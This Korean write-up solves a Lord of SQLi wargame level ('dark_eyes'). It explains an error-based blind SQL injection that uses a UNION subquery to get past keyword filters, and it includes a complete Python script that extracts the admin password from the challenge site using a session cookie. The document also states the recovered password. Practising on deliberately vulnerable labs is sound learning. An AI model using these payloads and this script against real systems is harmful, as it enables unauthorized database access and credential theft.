이번 문제에서는 col, if, case, when, sleep, benchmark를 필터링하고 있다.
전체적인 구조는 이전 문제와 크게 다르지 않은 Error Based Blind SQLi 문제이다.
이번 문제의 핵심은 if문이나 case문을 사용하지 않고 특정 조건을 충족하는 경우에 에러를 발생시켜주는 것에 있다.
이래저래 대체할 방법을 찾아봤지만... 방법은 딱 하나인 것 같았다.
서브쿼리를 이용하는 것이다.
사용할 페이로드의 예시는 다음과 같다.
param=f"?pw=' || (SELECT 1 UNION SELECT 2 where id='admin' and length(pw)={num}) %23"
① SELECT 1 UNION SELECT 2
② where id='admin' and length(pw)={num}
pw의 길이가 일치할 시 where절이 True가 되므로 ①번 요소가 실행되고, 그로 인한 에러가 발생하게 된다.
에러의 발생 유무를 판별하여 pw의 길이와 일치하는 num을 찾아낼 수 있다.
이후 완전한 pw를 찾는 방법도 동일한 로직을 사용한다.
또한 이전 문제들과 마찬가지로, 2진 탐색을 적용하여 검색 속도를 높인다.
LoS 22번 Python 자동화 코드이다.
import requests
def send(param):
url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php"
cookie = "dfksep8hnmequ6sm0qe1iu65pa"
head = {"PHPSESSID":f"{cookie}"}
my_url = url+param
res = requests.get(my_url, cookies=head)
return res.text
print("💘 LoS 21을 시작합니다")
for num in range(0,100):
param=f"?pw=' || (SELECT 1 UNION SELECT 2 where id='admin' and length(pw)={num}) %23"
if("query" not in send(param)):
print(f"👏 pw의 길이는 {num}입니다!")
break
ans=""
for len in range(1, num+1):
start = 32
end = 127
while True:
middle = round((start+end)/2)
param=f"?pw=' || (SELECT 1 UNION SELECT 2 where id=\"admin\" and ascii(substr(pw,{len},1))>={middle}) %23"
if("query" not in send(param)):
param=f"?pw=' || (SELECT 1 UNION SELECT 2 where id=\"admin\" and ascii(substr(pw,{len},1))={middle}) %23"
if("query" not in send(param)):
print(f"{len}번째 문자 → {chr(middle)}")
ans+=chr(middle)
break
else:
start = middle
continue
else:
end = middle
continue
print(f"👏 pw의 정체는 [{ans}]입니다!")
Blind 공격 결과, pw는 5a2f5d3c
임을 확인할 수 있다.